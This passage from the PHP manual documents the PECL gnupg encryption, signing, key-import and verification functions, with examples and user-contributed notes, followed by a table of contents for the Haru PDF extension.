        }

?>
Mike 28-Jan-2010 12:26
As of gnupg version 2, it is not possible to pass a plain password any more. The parameter is simply ignored. Instead, a pinentry application will be launched in case of php running in cli mode. In cgi or apache mode, opening the key will fail.
The simplest solution is to use keys without passwords.


Decrypts and verifies a given text

  • « gnupg_decrypt
  • gnupg_encrypt »
  • PHP Manual
  • GnuPG Functions
  • Decrypts and verifies a given text

gnupg_decryptverify

(PECL gnupg >= 0.2)

gnupg_decryptverify — Decrypts and verifies a given text

Description

array gnupg_decryptverify ( resource $identifier , string $text , string &$plaintext )

Decrypts and verifies a given text and returns information about the signature.

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

text

The text being decrypted.

plaintext

The parameter plaintext gets filled with the decrypted text.

Return Values

On success, this function returns information about the signature and fills the plaintext parameter with the decrypted text. On failure, this function returns FALSE.

Examples

Example #1 Procedural gnupg_decryptverify() example

<?php
$plaintext = "";
$res = gnupg_init();
gnupg_adddecryptkey($res,"8660281B6051D071D94B5B230549F9DC851566DC","test");
$info = gnupg_decryptverify($res,$text,$plaintext);
print_r($info);
?>

Example #2 OO gnupg_decryptverify() example

<?php
$plaintext = "";
$gpg = new gnupg();
$gpg -> adddecryptkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
$info = $gpg -> decryptverify($text,$plaintext);
print_r($info);
?>

User Contributed Notes

There are no user contributed notes for this page.


Encrypts a given text

  • « gnupg_decryptverify
  • gnupg_encryptsign »
  • PHP Manual
  • GnuPG Functions
  • Encrypts a given text

gnupg_encrypt

(PECL gnupg >= 0.1)

gnupg_encrypt — Encrypts a given text

Description

string gnupg_encrypt ( resource $identifier , string $plaintext )

Encrypts the given plaintext with the keys, which were set with gnupg_addencryptkey before and returns the encrypted text.

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

plaintext

The text being encrypted.

Return Values

On success, this function returns the encrypted text. On failure, this function returns FALSE.

Examples

Example #1 Procedural gnupg_encrypt() example

<?php
$res = gnupg_init();
gnupg_addencryptkey($res,"8660281B6051D071D94B5B230549F9DC851566DC");
$enc = gnupg_encrypt($res, "just a test");
echo $enc;
?>

Example #2 OO gnupg_encrypt() example

<?php
$gpg = new gnupg();
$gpg -> addencryptkey("8660281B6051D071D94B5B230549F9DC851566DC");
$enc = $gpg -> encrypt("just a test");
echo $enc;
?>

User Contributed Notes

Mahbub Kabir 08-Apr-2014 08:38
// to generate a key type in gpg --gen-key in the command line
// to export public key gpg --export -a "User Name" > public.key

<?php
putenv("GNUPGHOME=/tmp");

// it assumes public key exists in the /tmp/keys folder
$publicKey = file_get_contents(getenv('GNUPGHOME') . '/keys/public.key');

    $gpg = new gnupg();
    $gpg->seterrormode(gnupg::ERROR_EXCEPTION);
    $info = $gpg->import($publicKey);
    $gpg->addencryptkey($info['fingerprint']);

    $uploadFileContent = file_get_contents('/tmp/file-to-encrypt');
    $enc = $gpg->encrypt($uploadFileContent);
    echo $enc

Hope this helps
nick johnson 17-Apr-2008 08:44
After spending some time trying to get this extension to work, I've found that you have to have the GNUPGHOME environment variable set so that the keychain can be found, and have it set equal to the .gnupg directory itself, not the apache/httpd user's home directory (which is what is shown in dan's example code).  below is an example of this and a simple function I was working on at the time to encrypt a piece of data for storage in a database.

<?php
    // set the environment so gnupg can find the keyring
    putenv("GNUPGHOME=/home/apache/.gnupg");

    function encrypt_string($str,$fingerprint) {
        $res = gnupg_init();
        gnupg_addencryptkey($res,$fingerprint);
        $enc = gnupg_encrypt($res, $str);
        return $enc;
    }
?>
dan at f-box dot org 19-Feb-2008 04:20
This is a simple example of a Procedural use of import addencryptkey and encrypt. Obviously in a real world use you would only be importing the key once.

<?php

putenv("GNUPGHOME=/tmp");
$pubkey = "-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.2.6 (GNU/Linux)

mQGiBEe68W8RBACVuFuv4d+roDSCdRO1SuO8dQwds4VTjVOqgVKQtq6+8Fe95RY8
BAf1IyLj4bxvWPhr0wZdVwTosD/sFoPtdCyhVcF932nP0GLHsTEeVwSz9mid22HI
O4Kmwj2kE+I+C9QdzAg0zaWQnVaF9UC7pIdMR6tEnADI8nkVDdZ+zb2ziwCg6Yqu
tk3KAzKRT1SNUzTE/n9y2PED/1tIWiXfGBGzseX0W/e1G+MjuolWOXv4BXeiFGmn
8wnHsQ4Z4Tzk+ag0k+6pZZXjcL6Le486wpZ9MAe6LM31XDpQDVtyCL8t63nvQpB8
TUimbseBZMb3TytCubNLGFe5FnNLGDciElcD09d2xC6Xv6zE2jj4GtBW1bXqYWtl
jm0PA/4u6av6o6pIgLRfAawspr8kaeZ8+FU4NbIiS6xZmBUEQ/o7q95VKGgFVKBi
ugDOlnbgSzBIwSlsRVT2ivu/XVWnhQaRCotSm3AzOc2XecqrJ6F1gqk0n+yP/1h1
yeTvvfS5zgqNTG2UmovjVsKFzaDqmsYZ+sYfwc209z9PY+6FuLQnQXBhY2hlVGVz
dCAoVGVzdGluZykgPGFwYWNoZUBsb2NhbGhvc3Q+iF4EExECAB4FAke68W8CGwMG
CwkIBwMCAxUCAwMWAgECHgECF4AACgkQJE9COu2PFIEGDwCglArzAza13xjbdR04
DQ1U9FWQhMYAnRrWQeGTRm+BYm6SghNpDOKcmMqruQENBEe68XAQBADPIO+JFe5t
BQmI4l60bNMNSUqsL0TtIP8G6Bpd8q2xBOemHCLfGT9Y5DN6k0nneBQxajSfWBQ5
ZdKFwV5ezICz9fnGisEf9LPSwctfUIcvumbcPPsrUOUZX7BuCHrcfy1nebS3myO/
ScTKpW8Wz8AjpKTBG55DMkXSvnx+hS+PEwADBQP/dNnVlKYdNKA70B4QTEzfvF+E
5lyiauyT41SQoheTMhrs/3RIqUy7WWn3B20aTutHWWYXdYV+E85/CarhUmLNZGA2
tml1Mgl6F2myQ/+MiKi/aj9NVhcuz38OK/IAze7kNJJqK+UEWblB2Wfa31/9nNzv
ewVHa1xHtUyVDaewAACISQQYEQIACQUCR7rxcAIbDAAKCRAkT0I67Y8UgRwEAKDT
L6DwyEZGLTpAqy2OLUH7SFKm2ACgr3tnPuPFlBtHx0OqY4gGiNMJHXE=
=jHPH
-----END PGP PUBLIC KEY BLOCK-----";

$enc = (null);
$res = gnupg_init();
echo "gnupg_init RTV = <br/><pre>\n";
var_dump($res);
echo "</pre>\n";
$rtv = gnupg_import($res, $pubkey);
echo "gnupg_import RTV = <br/><pre>\n";
var_dump($rtv);
echo "</pre>\n";
$rtv = gnupg_addencryptkey($res, "C25F29936D9046D73A77DCF8244F423AED8F1481");
echo "gnupg_addencryptkey RTV = <br /><pre>\n";
var_dump($rtv);
echo "</pre>\n";
$enc = gnupg_encrypt($res, "just a test to see if anything works");
echo "Encrypted Data: " . $enc . "<br/>";

?>
paul at cressbrook dot co dot uk 14-Feb-2007 01:52
Hi

I found that the apache or httpd user (or whichever user the webserver is using to run) needed to have write access to the .gnupg directory for the gnupg_php functions to work. This could be your problem.  It seems a rather unsatisfactory feature of this module - gnupg keeps giving warnings that it is unsafe.
jkushner at livemercial dot com 03-Jan-2007 08:49
Very nice function, yet I cant seem to get it to work correctly.
Here is what I have..

/**
 * Test Values. Will be grabbed from database.
 */
$_STR_recipientKeyId='78F21BCA81042C23';

// This is a wrapper class I made that engulfs the gnupg class
if(!class_exists('core_Gnupg')){
    require(CORE_PATH_CLASS.'Gnupg.class.php');
}

//$_OBJ_gpg is just an instantiation of that class.
//returnInfo takes in the userID name, and uses the keyinfo() //function to return an array of data for that user.
$_ARR_keyinfo=$_OBJ_gpg->returnInfo($_STR_recipientUserId);

//now I have the fully functional userid
//ex: Jonathan Kushner <jkushner@livemercial.com>
$_STR_recipientUserId=$_ARR_keyinfo[0]['uids'][0]['uid'];

###########################

See, originally I was using the fingerprint from the $_ARR_keyinfo above and passing that into the encrypt function, but it still associated the encrypted data with my personal private key that I have associated with apache.

Any ideas?


Encrypts and signs a given text

  • « gnupg_encrypt
  • gnupg_export »
  • PHP Manual
  • GnuPG Functions
  • Encrypts and signs a given text

gnupg_encryptsign

(PECL gnupg >= 0.2)

gnupg_encryptsign — Encrypts and signs a given text

Description

string gnupg_encryptsign ( resource $identifier , string $plaintext )

Encrypts and signs the given plaintext with the keys, which were set with gnupg_addsignkey and gnupg_addencryptkey before and returns the encrypted and signed text.

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

plaintext

The text being encrypted.

Return Values

On success, this function returns the encrypted and signed text. On failure, this function returns FALSE.

Examples

Example #1 Procedural gnupg_encryptsign() example

<?php
$res = gnupg_init();
gnupg_addencryptkey($res,"8660281B6051D071D94B5B230549F9DC851566DC");
gnupg_addsignkey($res,"8660281B6051D071D94B5B230549F9DC851566DC","test");
$enc = gnupg_encryptsign($res, "just a test");
echo $enc;
?>

Example #2 OO gnupg_encryptsign() example

<?php
$gpg = new gnupg();
$gpg -> addencryptkey("8660281B6051D071D94B5B230549F9DC851566DC");
$gpg -> addsignkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
$enc = $gpg -> encryptsign("just a test");
echo $enc;
?>

User Contributed Notes

There are no user contributed notes for this page.


Exports a key

  • « gnupg_encryptsign
  • gnupg_geterror »
  • PHP Manual
  • GnuPG Functions
  • Exports a key

gnupg_export

(PECL gnupg >= 0.1)

gnupg_export — Exports a key

Description

string gnupg_export ( resource $identifier , string $fingerprint )

Exports the key fingerprint.

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

fingerprint

The fingerprint key.

Return Values

On success, this function returns the keydata. On failure, this function returns FALSE.

Examples

Example #1 Procedural gnupg_export() example

<?php
$res = gnupg_init();
$export = gnupg_export($res,"8660281B6051D071D94B5B230549F9DC851566DC");
echo $export;
?>

Example #2 OO gnupg_export() example

<?php
$gpg = new gnupg();
$export = $gpg -> export("8660281B6051D071D94B5B230549F9DC851566DC");
?>

User Contributed Notes

php at cdauth dot de 02-Dec-2007 11:21
Just to ensure you, because it is not mentioned in the manual: of course, only the public key is exported, even if you have the private key in your keyring.


Returns the errortext, if a function fails

  • « gnupg_export
  • gnupg_getprotocol »
  • PHP Manual
  • GnuPG Functions
  • Returns the errortext, if a function fails

gnupg_geterror

(PECL gnupg >= 0.1)

gnupg_geterror — Returns the errortext, if a function fails

Description

string gnupg_geterror ( resource $identifier )

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

Return Values

Returns an errortext, if an error has occurred, otherwise FALSE.

Examples

Example #1 Procedural gnupg_geterror() example

<?php
$res = gnupg_init();
echo gnupg_geterror($res);
?>

Example #2 OO gnupg_geterror() example

<?php
$gpg = new gnupg();
echo $gpg -> geterror();
?>

User Contributed Notes

There are no user contributed notes for this page.


Returns the currently active protocol for all operations

  • « gnupg_geterror
  • gnupg_import »
  • PHP Manual
  • GnuPG Functions
  • Returns the currently active protocol for all operations

gnupg_getprotocol

(PECL gnupg >= 0.1)

gnupg_getprotocol — Returns the currently active protocol for all operations

Description

int gnupg_getprotocol ( resource $identifier )

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

Return Values

Returns the currently active protocol, which can be one of GNUPG_PROTOCOL_OpenPGP or GNUPG_PROTOCOL_CMS.

Examples

Example #1 Procedural gnupg_getprotocol() example

<?php
$res = gnupg_init();
echo gnupg_getprotocol($res);
?>

Example #2 OO gnupg_getprotocol() example

<?php
$gpg = new gnupg();
echo $gpg -> getprotocol();
?>

User Contributed Notes

There are no user contributed notes for this page.


Imports a key

  • « gnupg_getprotocol
  • gnupg_init »
  • PHP Manual
  • GnuPG Functions
  • Imports a key

gnupg_import

(PECL gnupg >= 0.3)

gnupg_import — Imports a key

Description

array gnupg_import ( resource $identifier , string $keydata )

Imports the key keydata and returns an array with information about the importprocess.

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

keydata

The data key that is being imported.

Return Values

On success, this function returns and info-array about the importprocess. On failure, this function returns FALSE.

Examples

Example #1 Procedural gnupg_import() example

<?php
$res = gnupg_init();
$info = gnupg_import($res,$keydata);
print_r($info);
?>

Example #2 OO gnupg_import() example

<?php
$gpg = new gnupg();
$info = $gpg -> import($keydata);
print_r($info);
?>

User Contributed Notes

dimitri at digirati dot com dot br 04-Oct-2008 04:54
I recommend that the key may be generated in shell command line, then you export the keys using this group of commands.

gpg --export -a "User Name" > public.key
gpg --export-secret-key -a "User Name" > private.key

to use it, at the import and use it for encryption and decryption.

<?php

$GnuPG = new gnupg();

$PublicData = file_get_contents('public.key');
$PrivateData = file_get_contents('public.key');

$PublicKey = $GnuPG->import($PublicData);
$PrivateKey = $GnuPG->import($PrivateData);

echo 'Public Key : ',$PublicKey['fingerprint'],' & Private Key : ',$PrivateKey['fingerprint'];

?>
php at cdauth dot de 02-Dec-2007 04:33
The return array consists of the following values:
(
  [imported] => (int),
  [unchanged] => (int),
  [newuserids] => (int),
  [newsubkeys] => (int),
  [secretimported] => (int),
  [secretunchanged] => (int),
  [newsignatures] => (int),
  [skippedkeys] => (int),
  [fingerprint] => (string)
)

When invalid content is passed, all values, even skippedkeys, is 0. The fingerprint value does not exist then.


Initialize a connection

  • « gnupg_import
  • gnupg_keyinfo »
  • PHP Manual
  • GnuPG Functions
  • Initialize a connection

gnupg_init

(PECL gnupg >= 0.4)

gnupg_init — Initialize a connection

Description

resource gnupg_init ( void )

Parameters

This function has no parameters.

Return Values

A GnuPG resource connection used by other GnuPG functions.

Examples

Example #1 Procedural gnupg_init() example

<?php
$res = gnupg_init();
?>

Example #2 OO gnupg initializer example

<?php
$gpg = new gnupg();
?>

User Contributed Notes

There are no user contributed notes for this page.


Returns an array with information about all keys that matches the given pattern

  • « gnupg_init
  • gnupg_setarmor »
  • PHP Manual
  • GnuPG Functions
  • Returns an array with information about all keys that matches the given pattern

gnupg_keyinfo

(PECL gnupg >= 0.1)

gnupg_keyinfo — Returns an array with information about all keys that matches the given pattern

Description

array gnupg_keyinfo ( resource $identifier , string $pattern )

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

pattern

The pattern being checked against the keys.

Return Values

Returns an array with information about all keys that matches the given pattern or FALSE, if an error has occurred.

Examples

Example #1 Procedural gnupg_keyinfo() example

<?php
$res = gnupg_init();
$info = gnupg_keyinfo($res, 'test');
print_r($info);
?>

Example #2 OO gnupg_keyinfo() example

<?php
$gpg = new gnupg();
$info = $gpg -> keyinfo("test");
print_r($info);
?>

User Contributed Notes

fauger at NOSPAM dot anonymous dot com 05-Jul-2013 04:54
You CAN list all keys in the keyring, you only have to pass an empty string ''.

<?php
$gpg = new gnupg();
$info = $gpg -> keyinfo('');
print_r($info);
?>

That's it! ;)
porjo38 at yahoo dot com dot au 19-Feb-2013 07:00
It appears that listing *all* keys is not possible:

<?php
$gpg -> keyinfo();   // throws an error
$gpg -> keyinfo('*');  // is matched literally, not treated as a shell wildcard
$gpg -> keyinfo('.*');  // is matched literally, not treated as a regex wildcard
?>

This seems like a glaring omission to me.


Toggle armored output

  • « gnupg_keyinfo
  • gnupg_seterrormode »
  • PHP Manual
  • GnuPG Functions
  • Toggle armored output

gnupg_setarmor

(PECL gnupg >= 0.1)

gnupg_setarmor — Toggle armored output

Description

bool gnupg_setarmor ( resource $identifier , int $armor )

Toggle the armored output.

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

armor

Pass a non-zero integer-value to this function to enable armored-output (default). Pass 0 to disable armored output.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Procedural gnupg_setarmor() example

<?php
$res = gnupg_init();
gnupg_setarmor($res,1); // enable armored output;
gnupg_setarmor($res,0); // disable armored output;
?>

Example #2 OO gnupg_setarmor() example

<?php
$gpg = new gnupg();
$gpg -> setarmor(1); // enable armored output;
$gpg -> setarmor(0); // disable armored output;
?>

User Contributed Notes

jmgorena at gmail dot com 10-Jan-2008 11:51
Take note that when ARMOR is set to OFF, the output will be BINARY. This is wanted for converting file data to a binary gpg format.

With the ARMOR set to ON, the output is ASCII. This might be used for messaging (email, IM, IRC, etc).

Example with Armor on:
-----BEGIN PGP MESSAGE-----
Version: GnuPG v1.4.6 (GNU/Linux)

hQIOA+9JbyriNorZEAf/UuCyC0T80XffXVkmewfrRSvtsYbNSGZFvSr+32jJT2fs
...
...
=YJ4D
-----END PGP MESSAGE-----


Sets the mode for error_reporting

  • « gnupg_setarmor
  • gnupg_setsignmode »
  • PHP Manual
  • GnuPG Functions
  • Sets the mode for error_reporting

gnupg_seterrormode

(PECL gnupg >= 0.6)

gnupg_seterrormode — Sets the mode for error_reporting

Description

void gnupg_seterrormode ( resource $identifier , int $errormode )

Sets the mode for error_reporting.

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

errormode

The error mode.

errormode takes a constant indicating what type of error_reporting should be used. The possible values are GNUPG_ERROR_WARNING, GNUPG_ERROR_EXCEPTION and GNUPG_ERROR_SILENT. By default GNUPG_ERROR_SILENT is used.

Return Values

No value is returned.

Examples

Example #1 Procedural gnupg_seterrormode() example

<?php
$res = gnupg_init();
gnupg_seterrormode($res,GNUPG_ERROR_WARNING); // raise a PHP-Warning in case of an error
?>

Example #2 OO gnupg_seterrormode() example

<?php
$gpg = new gnupg();
$gpg -> seterrormode(gnupg::ERROR_EXCEPTION); // throw an exception in case of an error
?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the mode for signing

  • « gnupg_seterrormode
  • gnupg_sign »
  • PHP Manual
  • GnuPG Functions
  • Sets the mode for signing

gnupg_setsignmode

(PECL gnupg >= 0.1)

gnupg_setsignmode — Sets the mode for signing

Description

bool gnupg_setsignmode ( resource $identifier , int $signmode )

Sets the mode for signing.

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

sigmode

The mode for signing.

signmode takes a constant indicating what type of signature should be produced. The possible values are GNUPG_SIG_MODE_NORMAL, GNUPG_SIG_MODE_DETACH and GNUPG_SIG_MODE_CLEAR. By default GNUPG_SIG_MODE_CLEAR is used.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Procedural gnupg_setsignmode() example

<?php
$res = gnupg_init();
gnupg_setsignmode($res,GNUPG_SIG_MODE_DETACH); // produce a detached signature
?>

Example #2 OO gnupg_setsignmode() example

<?php
$gpg = new gnupg();
$gpg -> setsignmode(gnupg::SIG_MODE_DETACH); // produce a detached signature
?>

User Contributed Notes

There are no user contributed notes for this page.


Signs a given text

  • « gnupg_setsignmode
  • gnupg_verify »
  • PHP Manual
  • GnuPG Functions
  • Signs a given text

gnupg_sign

(PECL gnupg >= 0.1)

gnupg_sign — Signs a given text

Description

string gnupg_sign ( resource $identifier , string $plaintext )

Signs the given plaintext with the keys, which were set with gnupg_addsignkey before and returns the signed text or the signature, depending on what was set with gnupg_setsignmode.

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

plaintext

The plain text being signed.

Return Values

On success, this function returns the signed text or the signature. On failure, this function returns FALSE.

Examples

Example #1 Procedural gnupg_sign() example

<?php
$res = gnupg_init();
gnupg_addsignkey($res,"8660281B6051D071D94B5B230549F9DC851566DC","test");
$signed = gnupg_sign($res, "just a test");
echo $signed;
?>

Example #2 OO gnupg_sign() example

<?php
$gpg = new gnupg();
$gpg -> setsignkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
$signed = $gpg -> sign("just a test");
echo $signed;
?>

User Contributed Notes

phplist2REMOVE AT REMtincanOVE.co.uk 09-Nov-2006 12:42
It's a bit confusing how the "keyinfo" for a key returns "can_sign".

If you have only added your Public Key, it will indicate "can_sign" for the key in "keyinfo", but that doesn't mean yet, that you can sign with the key. You will also need to add your Private Key to actually make signing work.


Verifies a signed text

  • « gnupg_sign
  • haru »
  • PHP Manual
  • GnuPG Functions
  • Verifies a signed text

gnupg_verify

(PECL gnupg >= 0.1)

gnupg_verify — Verifies a signed text

Description

array gnupg_verify ( resource $identifier , string $signed_text , string $signature [, string &$plaintext ] )

Verifies the given signed_text and returns information about the signature.

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

signed_text

The signed text.

signature

The signature. To verify a clearsigned text, set signature to FALSE.

plaintext

The plain text. If this optional parameter is passed, it is filled with the plain text.

Return Values

On success, this function returns information about the signature. On failure, this function returns FALSE.

Examples

Example #1 Procedural gnupg_verify() example

<?php
$plaintext = "";
$res = gnupg_init();
// clearsigned
$info = gnupg_verify($res,$signed_text,false,$plaintext);
print_r($info);
// detached signature
$info = gnupg_verify($res,$signed_text,$signature);
print_r($info);
?>

Example #2 OO gnupg_verify() example

<?php
$plaintext = "";
$gpg = new gnupg();
// clearsigned
$info = $gpg -> verify($signed_text,false,$plaintext);
print_r($info);
// detached signature
$info = $gpg -> verify($signed_text,$signature);
print_r($info);
?>

User Contributed Notes

kae at verens dot com 19-Sep-2008 01:27
You can see who made the signature by checking its fingerprint:

<?php
$res = gnupg_init();
$info = gnupg_verify($res,$signed_text,$signature);
if($info !== false){
  $fingerprint = $info['fingerprint'];
  var_dump(gnupg_keyinfo($res, $fingerprint));
}


Haru PDF

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic PECL/haru example
  • Builtin Fonts And Encodings
    • Builtin Fonts
    • Builtin Encodings
  • HaruException — The HaruException class
  • HaruDoc — The HaruDoc class
    • HaruDoc::addPage — Add new page to the document
    • HaruDoc::addPageLabel — Set the numbering style for the specified range of pages
    • HaruDoc::__construct — Construct new HaruDoc instance
    • HaruDoc::createOutline — Create a HaruOutline instance
    • HaruDoc::getCurrentEncoder — Get HaruEncoder currently used in the document
    • HaruDoc::getCurrentPage — Return current page of the document
    • HaruDoc::getEncoder — Get HaruEncoder instance for the specified encoding
    • HaruDoc::getFont — Get HaruFont instance
    • HaruDoc::getInfoAttr — Get current value of the specified document attribute
    • HaruDoc::getPageLayout — Get current page layout
    • HaruDoc::getPageMode — Get current page mode
    • HaruDoc::getStreamSize — Get the size of the temporary stream
    • HaruDoc::insertPage — Insert new page just before the specified page
    • HaruDoc::loadJPEG — Load a JPEG image
    • HaruDoc::loadPNG — Load PNG image and return HaruImage instance
    • HaruDoc::loadRaw — Load a RAW image
    • HaruDoc::loadTTC — Load the font with the specified index from TTC file
    • HaruDoc::loadTTF — Load TTF font file
    • HaruDoc::loadType1 — Load Type1 font
    • HaruDoc::output — Write the document data to the output buffer
    • HaruDoc::readFromStream — Read data from the temporary stream
    • HaruDoc::resetError — Reset error state of the document handle
    • HaruDoc::resetStream — Rewind the temporary stream
    • HaruDoc::save — Save the document into the specified file
    • HaruDoc::saveToStream — Save the document into a temporary stream
    • HaruDoc::setCompressionMode — Set compression mode for the document
    • HaruDoc::setCurrentEncoder — Set the current encoder for the document
    • HaruDoc::setEncryptionMode — Set encryption mode for the document
    • HaruDoc::setInfoAttr — Set the info attribute of the document
    • HaruDoc::setInfoDateAttr — Set the datetime info attributes of the document
    • HaruDoc::setOpenAction — Define which page is shown when the document is opened
    • HaruDoc::setPageLayout — Set how pages should be displayed
    • HaruDoc::setPageMode — Set how the document should be displayed
    • HaruDoc::setPagesConfiguration — Set the number of pages per set of pages
    • HaruDoc::setPassword — Set owner and user passwords for the document
    • HaruDoc::setPermission — Set permissions for the document
    • HaruDoc::useCNSEncodings — Enable Chinese simplified encodings
    • HaruDoc::useCNSFonts — Enable builtin Chinese simplified fonts
    • HaruDoc::useCNTEncodings — Enable Chinese traditional encodings
    • HaruDoc::useCNTFonts — Enable builtin Chinese traditional fonts
    • HaruDoc::useJPEncodings — Enable Japanese encodings
    • HaruDoc::useJPFonts — Enable builtin Japanese fonts
    • HaruDoc::useKREncodings — Enable Korean encodings
    • HaruDoc::useKRFonts — Enable builtin Korean fonts
  • HaruPage — The HaruPage class
    • HaruPage::arc — Append an arc to the current path
    • HaruPage::beginText — Begin a text object and set the current text position to (0,0)
    • HaruPage::circle — Append a circle to the current path
    • HaruPage::closePath — Append a straight line from the current point to the start point of the path
    • HaruPage::concat — Concatenate current transformation matrix of the page and the specified matrix
    • HaruPage::createDestination — Create new HaruDestination instance
    • HaruPage::createLinkAnnotation — Create new HaruAnnotation instance
    • HaruPage::createTextAnnotation — Create new HaruAnnotation instance
    • HaruPage::createURLAnnotation — Create and return new HaruAnnotation instance
    • HaruPage::curveTo2 — Append a Bezier curve to the current path
    • HaruPage::curveTo3 — Append a Bezier curve to the current path
    • HaruPage::curveTo — Append a Bezier curve to the current path
    • HaruPage::drawImage — Show image at the page
    • HaruPage::ellipse — Append an ellipse to the current path
    • HaruPage::endPath — End current path object without filling and painting operations
    • HaruPage::endText — End current text object
    • HaruPage::eofill — Fill current path using even-odd rule
    • HaruPage::eoFillStroke — Fill current path using even-odd rule, then paint the path
    • HaruPage::fill — Fill current path using nonzero winding number rule
    • HaruPage::fillStroke — Fill current path using nonzero winding number rule, then paint the path
    • HaruPage::getCharSpace — Get the current value of character spacing
    • HaruPage::getCMYKFill — Get the current filling color
    • HaruPage::getCMYKStroke — Get the current stroking color
    • HaruPage::getCurrentFont — Get the currently used font
    • HaruPage::getCurrentFontSize — Get the current font size
    • HaruPage::getCurrentPos — Get the current position for path painting
    • HaruPage::getCurrentTextPos — Get the current position for text printing
    • HaruPage::getDash — Get the current dash pattern
    • HaruPage::getFillingColorSpace — Get the current filling color space
    • HaruPage::getFlatness — Get the flatness of the page
    • HaruPage::getGMode — Get the current graphics mode
    • HaruPage::getGrayFill — Get the current filling color
    • HaruPage::getGrayStroke — Get the current stroking color
    • HaruPage::getHeight — Get the height of the page
    • HaruPage::getHorizontalScaling — Get the current value of horizontal scaling
    • HaruPage::getLineCap — Get the current line cap style
    • HaruPage::getLineJoin — Get the current line join style
    • HaruPage::getLineWidth — Get the current line width
    • HaruPage::getMiterLimit — Get the value of miter limit
    • HaruPage::getRGBFill — Get the current filling color
    • HaruPage::getRGBStroke — Get the current stroking color
    • HaruPage::getStrokingColorSpace — Get the current stroking color space
    • HaruPage::getTextLeading — Get the current value of line spacing
    • HaruPage::getTextMatrix — Get the current text transformation matrix of the page
    • HaruPage::getTextRenderingMode — Get the current text rendering mode
    • HaruPage::getTextRise — Get the current value of text rising
    • HaruPage::getTextWidth — Get the width of the text using current fontsize, character spacing and word spacing
    • HaruPage::getTransMatrix — Get the current transformation matrix of the page
    • HaruPage::getWidth — Get the width of the page
    • HaruPage::getWordSpace — Get the current value of word spacing
    • HaruPage::lineTo — Draw a line from the current point to the specified point
    • HaruPage::measureText — Calculate the number of characters which can be included within the specified width
    • HaruPage::moveTextPos — Move text position to the specified offset
    • HaruPage::moveTo — Set starting point for new drawing path
    • HaruPage::moveToNextLine — Move text position to the start of the next line
    • HaruPage::rectangle — Append a rectangle to the current path
    • HaruPage::setCharSpace — Set character spacing for the page
    • HaruPage::setCMYKFill — Set filling color for the page
    • HaruPage::setCMYKStroke — Set stroking color for the page
    • HaruPage::setDash — Set the dash pattern for the page
    • HaruPage::setFlatness — Set flatness for the page
    • HaruPage::setFontAndSize — Set font and fontsize for the page
    • HaruPage::setGrayFill — Set filling color for the page
    • HaruPage::setGrayStroke — Sets stroking color for the page
    • HaruPage::setHeight — Set height of the page
    • HaruPage::setHorizontalScaling — Set horizontal scaling for the page
    • HaruPage::setLineCap — Set the shape to be used at the ends of lines
    • HaruPage::setLineJoin — Set line join style for the page
    • HaruPage::setLineWidth — Set line width for the page
    • HaruPage::setMiterLimit — Set the current value of the miter limit of the page
    • HaruPage::setRGBFill — Set filling color for the page
    • HaruPage::setRGBStroke — Set stroking color for the page
    • HaruPage::setRotate — Set rotation angle of the page
    • HaruPage::setSize — Set size and direction of the page
    • HaruPage::setSlideShow — Set transition style for the page
    • HaruPage::setTextLeading — Set text leading (line spacing) for the page
    • HaruPage::setTextMatrix — Set the current text transformation matrix of the page
    • HaruPage::setTextRenderingMode — Set text rendering mode for the page
    • HaruPage::setTextRise — Set the current value of text rising
    • HaruPage::setWidth — Set width of the page
    • HaruPage::setWordSpace — Set word spacing for the page
    • HaruPage::showText — Print text at the current position of the page
    • HaruPage::showTextNextLine — Move the current position to the start of the next line and print the text
    • HaruPage::stroke — Paint current path
    • HaruPage::textOut — Print the text on the specified position
    • HaruPage::textRect — Print the text inside the specified region
  • HaruFont — The HaruFont class
    • HaruFont::getAscent — Get the vertical ascent of the font
    • HaruFont::getCapHeight — Get the distance from the baseline of uppercase letters
    • HaruFont::getDescent — Get the vertical descent of the font
    • HaruFont::getEncodingName — Get the name of the encoding
    • HaruFont::getFontName — Get the name of the font
    • HaruFont::getTextWidth — Get the total width of the text, number of characters, number of words and number of spaces
    • HaruFont::getUnicodeWidth — Get the width of the character in the font
    • HaruFont::getXHeight — Get the distance from the baseline of lowercase letters
    • HaruFont::measureText — Calculate the number of characters which can be included within the specified width
  • HaruImage — The HaruImage class
    • HaruImage::getBitsPerComponent — Get the number of bits used to describe each color component of the image
    • HaruImage::getColorSpace — Get the name of the color space
    • HaruImage::getHeight — Get the height of the image
    • HaruImage::getSize — Get size of the image
    • HaruImage::getWidth — Get the width of the image
    • HaruImage::setColorMask — Set the color mask of the image
    • HaruImage::setMaskImage — Set the image mask
  • HaruEncoder — The HaruEncoder class
    • HaruEncoder::getByteType — Get the type of the byte in the text
    • HaruEncoder::getType — Get the type of the encoder
    • HaruEncoder::getUnicode — Convert the specified character to unicode
    • HaruEncoder::getWritingMode — Get the writing mode of the encoder
  • HaruOutline — The HaruOutline class
    • HaruOutline::setDestination — Set the destination for the outline
    • HaruOutline::setOpened — Set the initial state of the outline
  • HaruAnnotation — The HaruAnnotation class
    • HaruAnnotation::setBorderStyle — Set the border style of the annotation
    • HaruAnnotation::setHighlightMode — Set the highlighting mode of the annotation
    • HaruAnnotation::setIcon — Set the icon style of the annotation
